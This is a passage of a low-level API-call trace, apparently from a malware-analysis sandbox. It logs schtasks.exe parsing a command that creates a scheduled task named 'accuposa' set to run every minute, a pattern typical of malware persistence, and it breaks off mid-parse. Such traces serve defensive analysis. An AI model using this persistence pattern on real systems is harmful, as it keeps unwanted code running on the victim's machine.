lpdwHandle=0x589fedf208 | out: lpdwHandle=0x589fedf208) returned 0x76c [0122.349] GetProcessHeap () returned 0x1c180330000 [0122.349] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x776) returned 0x1c18033a810 [0122.349] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x1c18033a810 | out: lpData=0x1c18033a810) returned 1 [0122.349] VerQueryValueW (in: pBlock=0x1c18033a810, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x589fedf1a0, puLen=0x589fedf200 | out: lplpBuffer=0x589fedf1a0*=0x1c18033abc0, puLen=0x589fedf200) returned 1 [0122.352] _memicmp (_Buf1=0x1c180333fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.352] _vsnwprintf (in: _Buffer=0x1c180339710, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x589fedf178 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0122.353] VerQueryValueW (in: pBlock=0x1c18033a810, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x589fedf190, puLen=0x589fedf1f8 | out: lplpBuffer=0x589fedf190*=0x1c18033a9f0, puLen=0x589fedf1f8) returned 1 [0122.353] lstrlenW (lpString="schtasks.exe") returned 12 [0122.353] lstrlenW (lpString="schtasks.exe") returned 12 [0122.353] lstrlenW (lpString=".EXE") returned 4 [0122.353] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0122.354] lstrlenW (lpString="schtasks.exe") returned 12 [0122.354] lstrlenW (lpString=".EXE") returned 4 [0122.354] _memicmp (_Buf1=0x1c180333fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.354] lstrlenW (lpString="schtasks") returned 8 [0122.354] GetProcessHeap () returned 0x1c180330000 [0122.354] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c180338b00 [0122.354] GetProcessHeap () returned 0x1c180330000 [0122.354] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c180338bc0 [0122.354] GetProcessHeap () returned 0x1c180330000 [0122.354] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c18033b620 [0122.354] GetProcessHeap () returned 0x1c180330000 [0122.354] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c18033b500 [0122.354] GetProcessHeap () returned 0x1c180330000 [0122.354] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x18) returned 0x1c180332140 [0122.354] _memicmp (_Buf1=0x1c180332140, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.354] GetProcessHeap () returned 0x1c180330000 [0122.354] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0xa0) returned 0x1c1803342c0 [0122.354] GetProcessHeap () returned 0x1c180330000 [0122.354] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c18033b4a0 [0122.354] GetProcessHeap () returned 0x1c180330000 [0122.354] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c18033b440 [0122.354] GetProcessHeap () returned 0x1c180330000 [0122.354] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c18033b5c0 [0122.354] GetProcessHeap () returned 0x1c180330000 [0122.354] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x18) returned 0x1c180334880 [0122.354] _memicmp (_Buf1=0x1c180334880, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.355] GetProcessHeap () returned 0x1c180330000 [0122.355] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x200) returned 0x1c18033bae0 [0122.355] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1c18033bae0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0122.355] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0122.355] GetProcessHeap () returned 0x1c180330000 [0122.355] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x30) returned 0x1c180334370 [0122.355] _vsnwprintf (in: _Buffer=0x1c1803342c0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x589fedf178 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0122.355] GetProcessHeap () returned 0x1c180330000 [0122.355] GetProcessHeap () returned 0x1c180330000 [0122.355] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033a810) returned 1 [0122.355] GetProcessHeap () returned 0x1c180330000 [0122.355] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033a810) returned 0x776 [0122.356] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033a810) returned 1 [0122.356] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.356] GetThreadLocale () returned 0x409 [0122.356] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.356] lstrlenW (lpString="?") returned 1 [0122.356] GetThreadLocale () returned 0x409 [0122.356] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.356] lstrlenW (lpString="create") returned 6 [0122.356] GetThreadLocale () returned 0x409 [0122.356] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.356] lstrlenW (lpString="delete") returned 6 [0122.356] GetThreadLocale () returned 0x409 [0122.356] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.356] lstrlenW (lpString="query") returned 5 [0122.356] GetThreadLocale () returned 0x409 [0122.356] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.357] lstrlenW (lpString="change") returned 6 [0122.357] GetThreadLocale () returned 0x409 [0122.357] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.357] lstrlenW (lpString="run") returned 3 [0122.357] GetThreadLocale () returned 0x409 [0122.357] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.357] lstrlenW (lpString="end") returned 3 [0122.357] GetThreadLocale () returned 0x409 [0122.357] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.357] lstrlenW (lpString="showsid") returned 7 [0122.357] GetThreadLocale () returned 0x409 [0122.357] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.359] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.359] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.359] lstrlenW (lpString="/create") returned 7 [0122.359] lstrlenW (lpString="-/") returned 2 [0122.359] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0122.359] lstrlenW (lpString="?") returned 1 [0122.359] lstrlenW (lpString="?") returned 1 [0122.359] GetProcessHeap () returned 0x1c180330000 [0122.359] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x18) returned 0x1c180334790 [0122.360] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.360] GetProcessHeap () returned 0x1c180330000 [0122.360] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0xa) returned 0x1c1803343b0 [0122.360] lstrlenW (lpString="create") returned 6 [0122.360] GetProcessHeap () returned 0x1c180330000 [0122.360] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x18) returned 0x1c180333930 [0122.360] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.360] GetProcessHeap () returned 0x1c180330000 [0122.360] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x14) returned 0x1c18033a9a0 [0122.360] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|?|") returned 3 [0122.360] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|create|") returned 8 [0122.360] lstrlenW (lpString="|?|") returned 3 [0122.360] lstrlenW (lpString="|create|") returned 8 [0122.360] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.360] lstrlenW (lpString="create") returned 6 [0122.360] lstrlenW (lpString="create") returned 6 [0122.360] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.360] GetProcessHeap () returned 0x1c180330000 [0122.360] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c1803343b0) returned 1 [0122.360] GetProcessHeap () returned 0x1c180330000 [0122.360] RtlReAllocateHeap (Heap=0x1c180330000, Flags=0xc, Ptr=0x1c1803343b0, Size=0x14) returned 0x1c1803343b0 [0122.360] lstrlenW (lpString="create") returned 6 [0122.360] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.360] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|create|") returned 8 [0122.360] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|create|") returned 8 [0122.360] lstrlenW (lpString="|create|") returned 8 [0122.361] lstrlenW (lpString="|create|") returned 8 [0122.361] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0122.361] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.361] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.361] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.361] lstrlenW (lpString="/tn") returned 3 [0122.361] lstrlenW (lpString="-/") returned 2 [0122.361] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0122.361] lstrlenW (lpString="?") returned 1 [0122.361] lstrlenW (lpString="?") returned 1 [0122.361] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.361] lstrlenW (lpString="tn") returned 2 [0122.361] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.361] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|?|") returned 3 [0122.361] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|tn|") returned 4 [0122.361] lstrlenW (lpString="|?|") returned 3 [0122.361] lstrlenW (lpString="|tn|") returned 4 [0122.361] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.361] lstrlenW (lpString="create") returned 6 [0122.361] lstrlenW (lpString="create") returned 6 [0122.361] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.361] lstrlenW (lpString="tn") returned 2 [0122.361] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.361] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|create|") returned 8 [0122.362] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|tn|") returned 4 [0122.362] lstrlenW (lpString="|create|") returned 8 [0122.362] lstrlenW (lpString="|tn|") returned 4 [0122.362] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0122.362] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.362] lstrlenW (lpString="delete") returned 6 [0122.362] lstrlenW (lpString="delete") returned 6 [0122.362] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.362] lstrlenW (lpString="tn") returned 2 [0122.362] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.362] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|delete|") returned 8 [0122.362] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|tn|") returned 4 [0122.362] lstrlenW (lpString="|delete|") returned 8 [0122.362] lstrlenW (lpString="|tn|") returned 4 [0122.362] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0122.362] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.362] lstrlenW (lpString="query") returned 5 [0122.362] lstrlenW (lpString="query") returned 5 [0122.362] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.362] lstrlenW (lpString="tn") returned 2 [0122.362] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.362] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|query|") returned 7 [0122.362] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|tn|") returned 4 [0122.362] lstrlenW (lpString="|query|") returned 7 [0122.362] lstrlenW (lpString="|tn|") returned 4 [0122.363] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0122.363] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.363] lstrlenW (lpString="change") returned 6 [0122.363] lstrlenW (lpString="change") returned 6 [0122.363] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.363] lstrlenW (lpString="tn") returned 2 [0122.363] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.363] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|change|") returned 8 [0122.363] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|tn|") returned 4 [0122.363] lstrlenW (lpString="|change|") returned 8 [0122.363] lstrlenW (lpString="|tn|") returned 4 [0122.363] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0122.363] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.363] lstrlenW (lpString="run") returned 3 [0122.363] lstrlenW (lpString="run") returned 3 [0122.363] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.363] lstrlenW (lpString="tn") returned 2 [0122.363] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.363] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|run|") returned 5 [0122.363] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|tn|") returned 4 [0122.363] lstrlenW (lpString="|run|") returned 5 [0122.363] lstrlenW (lpString="|tn|") returned 4 [0122.363] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0122.363] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.364] lstrlenW (lpString="end") returned 3 [0122.364] lstrlenW (lpString="end") returned 3 [0122.364] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.364] lstrlenW (lpString="tn") returned 2 [0122.364] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.364] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|end|") returned 5 [0122.364] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|tn|") returned 4 [0122.364] lstrlenW (lpString="|end|") returned 5 [0122.364] lstrlenW (lpString="|tn|") returned 4 [0122.364] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0122.364] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.364] lstrlenW (lpString="showsid") returned 7 [0122.364] lstrlenW (lpString="showsid") returned 7 [0122.364] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.364] GetProcessHeap () returned 0x1c180330000 [0122.364] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c1803343b0) returned 1 [0122.364] GetProcessHeap () returned 0x1c180330000 [0122.364] RtlReAllocateHeap (Heap=0x1c180330000, Flags=0xc, Ptr=0x1c1803343b0, Size=0x16) returned 0x1c1803343b0 [0122.364] lstrlenW (lpString="tn") returned 2 [0122.364] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.364] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|showsid|") returned 9 [0122.364] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|tn|") returned 4 [0122.364] lstrlenW (lpString="|showsid|") returned 9 [0122.364] lstrlenW (lpString="|tn|") returned 4 [0122.364] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0122.365] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.365] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.365] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.365] lstrlenW (lpString="/tn") returned 3 [0122.365] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0122.365] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.365] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.365] lstrlenW (lpString="/tn") returned 3 [0122.365] GetProcessHeap () returned 0x1c180330000 [0122.365] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x8) returned 0x1c180333950 [0122.365] GetProcessHeap () returned 0x1c180330000 [0122.365] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c18033b380 [0122.365] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.365] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.365] lstrlenW (lpString="accuposa") returned 8 [0122.365] lstrlenW (lpString="-/") returned 2 [0122.365] StrChrIW (lpStart="-/", wMatch=0x61) returned 0x0 [0122.365] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.365] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.365] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.365] lstrlenW (lpString="accuposa") returned 8 [0122.365] StrChrIW (lpStart="accuposa", wMatch=0x3a) returned 0x0 [0122.365] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.365] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.365] lstrlenW (lpString="accuposa") returned 8 [0122.365] GetProcessHeap () returned 0x1c180330000 [0122.365] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x12) returned 0x1c18033a9e0 [0122.365] GetProcessHeap () returned 0x1c180330000 [0122.365] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c18033b3b0 [0122.366] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.366] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.366] lstrlenW (lpString="/sc") returned 3 [0122.366] lstrlenW (lpString="-/") returned 2 [0122.366] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0122.366] lstrlenW (lpString="?") returned 1 [0122.366] lstrlenW (lpString="?") returned 1 [0122.366] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.366] lstrlenW (lpString="sc") returned 2 [0122.366] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.366] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|?|") returned 3 [0122.366] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|sc|") returned 4 [0122.366] lstrlenW (lpString="|?|") returned 3 [0122.366] lstrlenW (lpString="|sc|") returned 4 [0122.366] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.366] lstrlenW (lpString="create") returned 6 [0122.366] lstrlenW (lpString="create") returned 6 [0122.366] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.366] lstrlenW (lpString="sc") returned 2 [0122.366] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.366] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|create|") returned 8 [0122.366] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|sc|") returned 4 [0122.366] lstrlenW (lpString="|create|") returned 8 [0122.366] lstrlenW (lpString="|sc|") returned 4 [0122.366] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0122.366] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.367] lstrlenW (lpString="delete") returned 6 [0122.367] lstrlenW (lpString="delete") returned 6 [0122.367] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.367] lstrlenW (lpString="sc") returned 2 [0122.367] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.367] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|delete|") returned 8 [0122.367] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|sc|") returned 4 [0122.367] lstrlenW (lpString="|delete|") returned 8 [0122.367] lstrlenW (lpString="|sc|") returned 4 [0122.367] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0122.367] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.367] lstrlenW (lpString="query") returned 5 [0122.367] lstrlenW (lpString="query") returned 5 [0122.367] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.367] lstrlenW (lpString="sc") returned 2 [0122.367] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.367] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|query|") returned 7 [0122.367] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|sc|") returned 4 [0122.367] lstrlenW (lpString="|query|") returned 7 [0122.367] lstrlenW (lpString="|sc|") returned 4 [0122.367] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0122.367] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.367] lstrlenW (lpString="change") returned 6 [0122.367] lstrlenW (lpString="change") returned 6 [0122.368] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.368] lstrlenW (lpString="sc") returned 2 [0122.368] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.368] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|change|") returned 8 [0122.368] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|sc|") returned 4 [0122.368] lstrlenW (lpString="|change|") returned 8 [0122.368] lstrlenW (lpString="|sc|") returned 4 [0122.368] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0122.368] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.368] lstrlenW (lpString="run") returned 3 [0122.368] lstrlenW (lpString="run") returned 3 [0122.368] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.368] lstrlenW (lpString="sc") returned 2 [0122.368] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.368] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|run|") returned 5 [0122.368] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|sc|") returned 4 [0122.368] lstrlenW (lpString="|run|") returned 5 [0122.368] lstrlenW (lpString="|sc|") returned 4 [0122.368] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0122.368] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.368] lstrlenW (lpString="end") returned 3 [0122.368] lstrlenW (lpString="end") returned 3 [0122.368] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.368] lstrlenW (lpString="sc") returned 2 [0122.368] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.369] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|end|") returned 5 [0122.369] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|sc|") returned 4 [0122.369] lstrlenW (lpString="|end|") returned 5 [0122.369] lstrlenW (lpString="|sc|") returned 4 [0122.369] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0122.369] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.369] lstrlenW (lpString="showsid") returned 7 [0122.369] lstrlenW (lpString="showsid") returned 7 [0122.369] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.369] lstrlenW (lpString="sc") returned 2 [0122.369] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.369] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|showsid|") returned 9 [0122.369] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|sc|") returned 4 [0122.369] lstrlenW (lpString="|showsid|") returned 9 [0122.369] lstrlenW (lpString="|sc|") returned 4 [0122.369] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0122.369] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.369] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.369] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.369] lstrlenW (lpString="/sc") returned 3 [0122.369] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0122.369] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.369] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.369] lstrlenW (lpString="/sc") returned 3 [0122.369] GetProcessHeap () returned 0x1c180330000 [0122.369] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x8) returned 0x1c180333970 [0122.370] GetProcessHeap () returned 0x1c180330000 [0122.370] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c18033b830 [0122.370] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.370] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.370] lstrlenW (lpString="MINUTE") returned 6 [0122.370] lstrlenW (lpString="-/") 